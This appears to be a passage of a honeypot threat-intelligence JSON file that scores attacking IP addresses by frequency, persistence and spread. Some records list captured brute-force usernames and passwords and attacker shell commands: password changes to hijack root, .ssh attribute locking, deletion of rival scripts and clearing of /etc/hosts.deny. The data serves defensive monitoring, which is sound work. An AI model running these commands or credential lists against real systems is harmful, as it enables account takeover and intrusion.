      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 64.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T00:12:03.377000+00:00",
        "last_seen_30d": "2026-03-30T04:25:03.067000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 3,
        "Honeytrap": 3,
        "Mailoney": 1
      }
    },
    "184.105.247.254": {
      "attack_count": 3,
      "first_seen": "2026-03-19T03:53:20.113Z",
      "last_seen": "2026-03-19T03:53:20.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T04:16:47+00:00",
        "last_seen_30d": "2026-03-31T11:11:23.955000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Honeytrap": 103,
        "ConPot": 11,
        "Mailoney": 6,
        "Dionaea": 4,
        "Cowrie": 3
      }
    },
    "108.181.221.9": {
      "attack_count": 2,
      "first_seen": "2026-03-23T02:01:20.510Z",
      "last_seen": "2026-03-23T02:01:51.097Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:01:20.510000+00:00",
        "last_seen_30d": "2026-03-23T02:02:59.111000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "112.158.200.53": {
      "attack_count": 2,
      "first_seen": "2026-03-30T04:39:09.346Z",
      "last_seen": "2026-03-30T04:39:40.038Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangmyeong",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T04:39:09.346000+00:00",
        "last_seen_30d": "2026-03-30T04:40:45.674000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "134.199.161.30": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:10:00.193Z",
      "last_seen": "2026-03-15T19:10:00.194Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:10:00.193000+00:00",
        "last_seen_30d": "2026-03-15T19:11:06.242000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "170.64.143.49": {
      "attack_count": 2,
      "first_seen": "2026-03-17T22:42:55.877Z",
      "last_seen": "2026-03-17T22:42:55.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T22:42:55.877000+00:00",
        "last_seen_30d": "2026-03-17T22:43:57.754000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "179.126.90.159": {
      "attack_count": 2,
      "first_seen": "2026-03-16T07:36:14.476Z",
      "last_seen": "2026-03-16T07:36:29.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cosm\u00f3polis",
      "asn": 53006,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:36:14.476000+00:00",
        "last_seen_30d": "2026-03-16T07:37:36.818000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.192.8.125": {
      "attack_count": 2,
      "first_seen": "2026-03-03T11:23:03.205Z",
      "last_seen": "2026-03-03T11:23:34.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Manhua\u00e7u",
      "asn": 262725,
      "as_org": "RG SILVEIRA LTDA",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:23:03.205000+00:00",
        "last_seen_30d": "2026-03-03T11:24:37.928000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.17.210.99": {
      "attack_count": 2,
      "first_seen": "2026-03-06T16:15:55.605Z",
      "last_seen": "2026-03-06T16:16:16.044Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T16:15:55.605000+00:00",
        "last_seen_30d": "2026-03-06T16:17:20.857000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.216.132.22": {
      "attack_count": 2,
      "first_seen": "2026-03-18T19:40:56.644Z",
      "last_seen": "2026-03-18T19:41:09.391Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T19:40:56.644000+00:00",
        "last_seen_30d": "2026-03-18T19:42:11.732000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "203.204.75.226": {
      "attack_count": 2,
      "first_seen": "2026-03-03T09:40:52.990Z",
      "last_seen": "2026-03-03T09:41:05.340Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 9416,
      "as_org": "Hoshin Multimedia Center Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:40:52.990000+00:00",
        "last_seen_30d": "2026-03-03T09:42:46.480000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.7.195.40": {
      "attack_count": 2,
      "first_seen": "2026-03-15T17:11:29.871Z",
      "last_seen": "2026-03-15T17:11:30.192Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T17:11:29.871000+00:00",
        "last_seen_30d": "2026-03-15T17:13:27.363000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "223.204.197.197": {
      "attack_count": 2,
      "first_seen": "2026-03-21T06:42:55.133Z",
      "last_seen": "2026-03-21T06:43:08.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pattaya",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T06:42:55.133000+00:00",
        "last_seen_30d": "2026-03-21T06:44:18.580000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "35.130.137.18": {
      "attack_count": 2,
      "first_seen": "2026-03-27T17:56:16.702Z",
      "last_seen": "2026-03-27T17:56:50.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Birmingham",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T17:56:16.702000+00:00",
        "last_seen_30d": "2026-03-27T17:57:55.639000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "46.228.113.227": {
      "attack_count": 2,
      "first_seen": "2026-03-03T07:49:20.354Z",
      "last_seen": "2026-03-03T07:49:33.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 206926,
      "as_org": "Letit LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:49:20.354000+00:00",
        "last_seen_30d": "2026-03-03T07:50:44.063000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.168.19.34": {
      "attack_count": 2,
      "first_seen": "2026-03-17T05:38:05.463Z",
      "last_seen": "2026-03-17T05:38:36.161Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T05:38:05.463000+00:00",
        "last_seen_30d": "2026-03-17T05:39:44.279000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.89.72.86": {
      "attack_count": 2,
      "first_seen": "2026-03-27T06:03:34.711Z",
      "last_seen": "2026-03-27T06:03:47.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Sangrur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:03:34.711000+00:00",
        "last_seen_30d": "2026-03-27T06:04:50.590000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.98.68.157": {
      "attack_count": 2,
      "first_seen": "2026-03-19T09:07:38.069Z",
      "last_seen": "2026-03-19T09:07:51.938Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T09:07:38.069000+00:00",
        "last_seen_30d": "2026-03-19T09:09:00.163000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.197.92": {
      "attack_count": 2,
      "first_seen": "2026-03-22T01:34:02.244Z",
      "last_seen": "2026-03-22T01:34:33.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T01:34:02.244000+00:00",
        "last_seen_30d": "2026-03-22T01:35:39.140000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "104.211.113.107": {
      "attack_count": 1242,
      "first_seen": "2026-03-26T17:24:53.724Z",
      "last_seen": "2026-03-26T18:43:23.251Z",
      "sessions": 248,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "admin",
        "es",
        "test",
        "user",
        "app",
        "esuser",
        "flask",
        "ftpuser",
        "git",
        "gitlab",
        "guest",
        "hadoop",
        "postgres",
        "www",
        "deploy",
        "dev",
        "dolphinscheduler",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "abc123",
        "1",
        "password",
        "!QAZ@WSX",
        "111111",
        "1234",
        "12345678",
        "1qaz@WSX",
        "1qazXSW@",
        "admin",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!QAZ@wsx",
        "!Qaz@Wsx",
        "!qaz@WSX",
        "123321",
        "12345"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1753,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:24:53.724000+00:00",
        "last_seen_30d": "2026-03-26T18:44:31.032000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1242,
        "Suricata": 511
      }
    },
    "190.129.122.12": {
      "attack_count": 788,
      "first_seen": "2026-03-09T15:49:00.521Z",
      "last_seen": "2026-03-30T00:53:24.841Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "task",
        "asterix",
        "common",
        "sumit",
        "znc",
        "anna",
        "apagar",
        "backupuser",
        "casa",
        "certftp",
        "clawd",
        "db2inst",
        "dev1",
        "elasticsearch",
        "erp",
        "escaner",
        "facturacion",
        "gits"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "123",
        "12345",
        "123456",
        "123456@as",
        "123456zxcv",
        "1q2w1q2w",
        "Aaa123456",
        "Ab1234",
        "Abc123@@",
        "Active@123",
        "Asdfg@123",
        "Centos!@#$",
        "Gits123",
        "Jim123!",
        "Nuc123",
        "Nuxeo123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nX8j6UoxiEl3n\\nX8j6UoxiEl3n\\n\"|passwd",
        "echo \"1234\\nfqYnrwLYwIKr\\nfqYnrwLYwIKr\\n\"|passwd",
        "echo \"123\\nHTzmdyAIIkQh\\nHTzmdyAIIkQh\\n\"|passwd",
        "echo \"common123!\\nU3pdhQ1k3HRV\\nU3pdhQ1k3HRV\\n\"|passwd",
        "echo \"root:iQIAEyqwTzpY\"|chpasswd|bash",
        "echo \"root:s6ir2GqdxeE3\"|chpasswd|bash",
        "echo \"znc2025\\nAjwjtFwoRAhG\\nAjwjtFwoRAhG\\n\"|passwd",
        "echo -e \"12345678\\nX8j6UoxiEl3n\\nX8j6UoxiEl3n\"|passwd|bash",
        "echo -e \"1234\\nfqYnrwLYwIKr\\nfqYnrwLYwIKr\"|passwd|bash",
        "echo -e \"123\\nHTzmdyAIIkQh\\nHTzmdyAIIkQh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Cochabamba",
      "asn": 6568,
      "as_org": "EMPRESA NACIONAL DE TELECOMUNICACIONES SOCIEDAD ANONIMA",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.9,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 969,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:49:00.521000+00:00",
        "last_seen_30d": "2026-03-30T00:54:31.301000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 788,
        "Suricata": 181
      }
    },
    "34.122.129.31": {
      "attack_count": 776,
      "first_seen": "2026-03-10T01:35:10.888Z",
      "last_seen": "2026-03-22T21:26:31.715Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "paolo",
        "appuser",
        "arkserver",
        "bai",
        "claude",
        "dp",
        "friend",
        "gbase",
        "oneadmin",
        "root",
        "abc",
        "asus",
        "cc",
        "clawd",
        "dario",
        "diego",
        "elasticsearch",
        "felix",
        "frappe"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "1q2w3e4r5t6y7u",
        "Abc123",
        "Arkserver123!",
        "Bai123",
        "Dario123!",
        "N123",
        "Scanner123!",
        "Tigergraph123",
        "Ts3bot123!",
        "Welcome@2024",
        "admin",
        "appuser",
        "claude2025",
        "diegopass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n4To3Y2PxkQGg\\n4To3Y2PxkQGg\\n\"|passwd",
        "echo \"12345678\\nThYcsgi5xKGw\\nThYcsgi5xKGw\\n\"|passwd",
        "echo \"123456\\nvxvZxtpgo3VD\\nvxvZxtpgo3VD\\n\"|passwd",
        "echo \"Arkserver123!\\nJb1PPnJOR02j\\nJb1PPnJOR02j\\n\"|passwd",
        "echo \"Bai123\\nc9Jyn5ux6AyL\\nc9Jyn5ux6AyL\\n\"|passwd",
        "echo \"appuser\\n2dpiWEKbp9Kj\\n2dpiWEKbp9Kj\\n\"|passwd",
        "echo \"claude2025\\n2iynSUIjfYVY\\n2iynSUIjfYVY\\n\"|passwd",
        "echo \"friend123\\nKaRJGZZCuZXU\\nKaRJGZZCuZXU\\n\"|passwd",
        "echo \"password\\nxq9OsOGVbdHz\\nxq9OsOGVbdHz\\n\"|passwd",
        "echo -e \"12345678\\n4To3Y2PxkQGg\\n4To3Y2PxkQGg\"|passwd|bash",
        "echo -e \"12345678\\nThYcsgi5xKGw\\nThYcsgi5xKGw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 886,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:35:10.888000+00:00",
        "last_seen_30d": "2026-03-22T21:27:40.641000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 776,
        "Suricata": 110
      }
    },
    "162.19.243.145": {
      "attack_count": 718,
      "first_seen": "2026-03-09T18:06:26.294Z",
      "last_seen": "2026-03-31T18:46:19.066Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ceshi",
        "qiyuesuo",
        "tony",
        "acer",
        "anaconda",
        "andres",
        "bala",
        "bryan",
        "caja",
        "cesar",
        "dennis",
        "django",
        "ftp_test",
        "ftpsecure",
        "ftptest",
        "jim",
        "kong",
        "laurence"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "123",
        "1234",
        "12345678",
        "1",
        "1234560.",
        "123qwe.",
        "1978",
        "20240221",
        "21vianet.com",
        "777888",
        "963852",
        "Aa111111.",
        "Cesar123!",
        "ChangeMe123!",
        "Dp123123"
      ],
      "commands_executed": [
